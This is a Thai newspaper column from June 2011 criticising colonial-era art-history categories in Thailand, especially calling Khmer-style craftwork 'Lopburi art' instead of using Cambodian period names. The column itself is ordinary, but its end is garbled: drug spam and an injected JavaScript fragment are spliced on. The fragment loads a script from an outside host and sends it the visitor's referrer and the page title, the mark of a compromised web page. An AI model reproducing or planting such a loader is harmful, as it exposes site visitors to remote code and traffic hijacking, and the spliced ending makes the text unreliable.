มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 16 มิถุนายน 2554

การเมืองยุคล่าอาณานิคม ทำให้วิชาประวัติศาสตร์ศิลปะ, วิชาพิพิธภัณฑ์, และวิชาโบราณคดี มีบทบาทมากและกว้างขวางไปทั้งโลก

สยามประเทศไทยรับความรู้แบบอาณานิคมมาทั้งดุ้น แต่ให้ความสำคัญสูงสุดเฉพาะประวัติศาสตร์ศิลปะแบบการเมืองยุคล่าอาณานิคม แล้วแผ่ปกอิทธิพลครอบงำพิพิธภัณฑ์และโบราณคดีจนทุกวันนี้

ส่งผลให้กิจการพิพิธภัณฑ์และโบราณคดีไม่มีตัวตนแท้จริง ที่มีอยู่ในพิพิธภัณฑ์และโบราณคดี คือ ประวัติศาสตร์ศิลปะของพวกผู้ดีอำมาตย์มีตระกูล ที่มีส่วนสร้างปัญหาให้เกิดความขัดแย้งรุนแรงจนถึงสงครามย่อยๆ ดังกรณีไทยกับเขมรเห็นๆ กันอยู่

ชื่อประวัติศาสตร์ศิลปะรับจากเจ้าอาณานิคม เพราะคำว่าศิลปะที่มีความหมายตรงกับ ART เป็นแบบแผนวัฒนธรรมฝรั่งตั้งแต่ยุคปฏิวัติอุตสาหกรรมราว 200 ปีก่อนมาแล้วเท่านั้น แต่ยกมาเรียกงานช่างของสุวรรณภูมิอุษาคเนย์ที่มีมาก่อนปฏิวัติอุตสาหกรรมนับพันๆ ปี ทำให้ความหมายวิปลาสคลาดเคลื่อนไปไกล

เช่น เรียกพระพุทธรูปสมัยลพบุรีว่า ศิลปะลพบุรี ทำให้คนได้ยินจินตนาการไปว่ามี “ศิลปิน” สมัยลพบุรีคนหนึ่งมีความสะเทือนใจคิดหล่อพระพุทธรูปขึ้นมาอย่างปัจเจกบุคคล

แต่แท้จริงการหล่อพระพุทธรูปเป็นงานรวมหมู่ทั้งชุมชน ไม่ใช่งานปัจเจกของ “ศิลปิน” บุคคลใดบุคคลหนึ่ง และเป็นงานของช่างปั้นช่างหล่อตามแบบแผนมหาปุริสลักษณะ ไม่ใช่งานศิลปะของศิลปินเดี่ยวๆ จินตนาการขึ้นเองอย่างที่รู้จักในปัจจุบัน

การเมืองยุคล่าอาณานิคมมีอำนาจกำหนดให้เรียกงานช่างแบบเขมรพบในประเทศไทยว่าศิลปะเขมร แม้จะพยายามสลัดแอกการเมืองยุคนั้นออกไป แล้วให้เรียกว่าศิลปะลพบุรีก็ยังสืบจิตวิญญาณการเมืองแบบอาณานิคมอยู่ดีจนถึงทุกวันนี้

แท้จริงแล้วลพบุรี (ละโว้) มีรากเหง้าเผ่าพันธุ์เป็นเครือญาติใกล้ชิดสนิทสนมกับเมืองพระนคร (นครวัด) และเมืองพระนครหลวง (นครธม) ประดุจพี่น้องตระกูลเดียวกัน เสมือนอยุธยากับเวียงจันเกี่ยวดองเป็นพี่น้องร่วมตระกูลฉะนั้น

ความเป็น “คนไทย” ก็มีส่วนผสมของวัฒนธรรมลาว กับวัฒนธรรมเขมร

แม้ละโว้จะสืบทอดต่อมาเป็นอโยธยา-อยุธยา แต่ก็ยังสืบทอดวัฒนธรรมนครวัด-นครธม อย่างเหนียวแน่นมีพยานหลักฐานมาก

บริเวณที่มีงานช่างอย่างวัฒนธรรมเขมร เห็นได้ทั่วไปคืออีสาน โดยเฉพาะลุ่มน้ำมูล มีหนาแน่นที่สุดเพราะในอดีตเป็นส่วนหนึ่งของอาณาจักรกัมพูชา

เมื่อความจริงเป็นอย่างนี้ จะหนีเสือปะจระเข้ทำไม?

จะหนีการเมืองแบบอาณานิคมโดยไม่เรียกศิลปะเขมร แต่ก็ตกในวงล้อมแบบอาณานิคมเรียกศิลปะลพบุรี

ถ้าอย่างนี้ทำไมไม่เรียกตามชื่อศิลปะในกัมพูชาไปเสียเลยว่าแบบพนมดา, ถาลาบริวัตร, สมโบร์ไพรกุก, ไพรกเมง, กำพงพระ, กุเลน, พระโค, บาแค็ง, เกาะแกร์, แปรรูป, บันทายสรี, ประตูพระราชวังหลวง, บาปวน, นครวัด, บายน

โดยไม่ต้องมีคำว่าเขมร, ลพบุรี ฯลฯ

ผมไร้เดียงสาเรื่องเหล่านี้ เลยอธิบายอะไรไม่ได้ นอกจากสงสัยข้องใจทำไม? 

fluoxetine wiki price of temovates.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;